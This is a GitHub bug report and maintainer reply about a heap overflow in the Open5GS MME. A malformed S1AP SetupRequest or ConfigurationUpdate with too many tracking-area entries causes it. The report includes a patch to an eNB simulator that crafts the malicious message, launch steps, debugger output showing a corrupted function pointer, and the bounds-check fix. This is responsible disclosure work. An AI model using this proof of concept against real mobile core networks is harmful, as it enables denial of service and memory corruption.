[Bug]: Heap overflow in open5gs-mmed over s1ap interface, in SetupRequest and ConfigurationUpdate

[p1-gte]

Open5GS Release, Revision, or Tag

c0a520f32a3c70aefc393f74ced365004fe8be75

Steps to reproduce

1. Start open5gs using build/tests/app/epc -c build/configs/volte.yaml
2. Patch eNB to send a malicious s1ap message. The following patch crafts a malicious SetupRequest:

   
   diff --git a/eNB_LOCAL.py b/eNB_LOCAL.py
   index e334751..98e2421 100644
   --- a/eNB_LOCAL.py
   +++ b/eNB_LOCAL.py
   @@ -46,8 +46,8 @@ except:

-PLMN = '12345' -IMSI = PLMN + '1234567890' +PLMN = '99970' +IMSI = PLMN + '0000000001' IMEISV = '1234567890123456' IMEI = '123456789012347' APN = 'internet' @@ -591,13 +591,18 @@ def https_res_ck_ik(server, rand, autn):

NON UE RELATED PROCEDURES:

######################################################################################################################################

+plmns = [] +for _ in range(3):

• plmns.append(return_plmn_s1ap('00101'))

• def S1SetupRequest(dic):

  IEs = [] IEs.append({'id': 59, 'value': ('Global-ENB-ID', {'pLMNidentity': dic['ENB-PLMN'], 'eNB-ID' : ('macroENB-ID', (dic['ENB-ID'], 20))}), 'criticality': 'reject'}) IEs.append({'id': 60, 'value': ('ENBname', dic['ENB-NAME']), 'criticality': 'ignore'}) if dic['S1-TYPE'] == "4G" :

• IEs.append({'id': 64, 'value': ('SupportedTAs', [{'tAC': dic['ENB-TAC1'], 'broadcastPLMNs': [dic['ENB-PLMN']]}, {'tAC': dic['ENB-TAC2'], 'broadcastPLMNs': [dic['ENB-PLMN']]}]), 'criticality': 'reject'})
• IEs.append({'id': 64, 'value': ('SupportedTAs', [{'tAC': dic['ENB-TAC1'], 'broadcastPLMNs': [*plmns]} for _ in range(256)]), 'criticality': 'reject'}) elif dic['S1-TYPE'] == "NBIOT": IEs.append({'id': 64, 'value': ('SupportedTAs', [{'tAC': dic['ENB-TAC-NBIOT'], 'broadcastPLMNs': [dic['ENB-PLMN']], 'iE-Extensions': [{'id':232, 'criticality': 'reject', 'extensionValue':('RAT-Type','nbiot')}]}]), 'criticality': 'reject'}) elif dic['S1-TYPE'] == "BOTH":

  
  3.  Start modified eNB, and send a SetupRequest using `sudo python3 ./eNB_LOCAL.py -i 127.0.0.1 -m 127.0.0.2`

Logs

No response

Expected behaviour

An assert shall be triggered

Observed Behaviour

No assert is triggered, and the mme_enb_t object is corrupted.

$ gdb -q -p `pidof open5gs-mmed`
..
Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
0x0000ffff90deb46c in __GI___sigtimedwait (set=set@entry=0xfffffe63be68, info=info@entry=0xfffffe63bda8, timeout=timeout@entry=0x0) at ../sysdeps/unix/sysv/linux/sigtimedwait.c:61
61      ../sysdeps/unix/sysv/linux/sigtimedwait.c: No such file or directory.
Breakpoint 1 at 0xaaaabef69250: file ../src/mme/s1ap-handler.c, line 199.
[Switching to Thread 0xffff1efdef00 (LWP 20348)]

Thread 38 "open5gs-mmed" hit Breakpoint 1, s1ap_handle_s1_setup_request (enb=0xffff9029b5a0, message=0xffff1efdc498) at ../src/mme/s1ap-handler.c:199
warning: Source file is more recent than executable.
199         if (maximum_number_of_enbs_is_reached()) {
(gdb) p enb.supported_ta_list
$1 = {{plmn_id = {mcc1 = 0 '\000', mcc2 = 0 '\000', mcc3 = 1 '\001', mnc1 = 15 '\017', mnc2 = 0 '\000', mnc3 = 1 '\001'}, tac = 1} <repeats 256 times>}
(gdb) p enb
$2 = (mme_enb_t *) 0xffff9029b5a0
(gdb) p *enb
$3 = {lnode = {prev = 0x0, next = 0x0}, sm = {init = 0xaaaabef66540 <s1ap_state_initial>, fini = 0xaaaabef66640 <s1ap_state_final>, state = 0xaaaabef66730 <s1ap_state_operational>}, enb_id = 1, plmn_id = {
    mcc1 = 1 '\001', mcc2 = 2 '\002', mcc3 = 3 '\003', mnc1 = 15 '\017', mnc2 = 4 '\004', mnc3 = 5 '\005'}, sctp = {type = 1, sock = 0xfffedc000bd0, addr = 0xfffedc000e70, poll = {read = 0xffff9032a0f0,
      write = 0x0}, write_queue = {prev = 0x0, next = 0x0}}, state = {s1_setup_success = false}, max_num_of_ostreams = 30, ostream_id = 0, num_of_supported_ta_list = 258, supported_ta_list = {{plmn_id = {
        mcc1 = 0 '\000', mcc2 = 0 '\000', mcc3 = 1 '\001', mnc1 = 15 '\017', mnc2 = 0 '\000', mnc3 = 1 '\001'}, tac = 1} <repeats 256 times>}, s1_reset_ack = 0x10f100000110f100, enb_ue_list = {prev = 0x1,
    next = 0x0}}
pwndbg> vmmap enb
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0xffff8edd4000     0xffff8ede4000 ---p    10000      0 [anon_ffff8edd4]
►   0xffff8ede4000     0xffff90650000 rw-p  186c000      0 [anon_ffff8ede4] +0x1517010
    0xffff90650000     0xffff90659000 r-xp     9000      0 /usr/lib/aarch64-linux-gnu/libffi.so.8.1.0

The value s1_reset_ack = 0x10f100000110f100 shall contain a function pointer, but has been corrupted.

The following patch will abort the process:

diff --git a/src/mme/s1ap-handler.c b/src/mme/s1ap-handler.c
index dff401ded..55a1f7e1b 100644
--- a/src/mme/s1ap-handler.c
+++ b/src/mme/s1ap-handler.c
@@ -178,6 +178,7 @@ void s1ap_handle_s1_setup_request(mme_enb_t *enb, ogs_s1ap_message_t *message)
                 SupportedTAs_Item->broadcastPLMNs.list.array[j];
             ogs_assert(pLMNidentity);

+           ogs_assert(enb->num_of_supported_ta_list < OGS_ARRAY_SIZE(enb->supported_ta_list));
             memcpy(&enb->supported_ta_list[enb->num_of_supported_ta_list].tac,
                     tAC->buf, sizeof(uint16_t));
             enb->supported_ta_list[enb->num_of_supported_ta_list].tac =
@@ -310,6 +311,7 @@ void s1ap_handle_enb_configuration_update(
                     SupportedTAs_Item->broadcastPLMNs.list.array[j];
                 ogs_assert(pLMNidentity);

+               ogs_assert(enb->num_of_supported_ta_list < OGS_ARRAY_SIZE(enb->supported_ta_list));
                 memcpy(&enb->supported_ta_list[
                         enb->num_of_supported_ta_list].tac,
                         tAC->buf, sizeof(uint16_t));

eNodeB/gNodeB

No response

UE Models and versions

No response

[p1-gte]

The attached capture.pcap.gz contained the offending message in frame.number == 10.

[acetcom]

@p1-gte

I've fixed it.

Thank s a lot! Sukchan

[github-actions[bot]]

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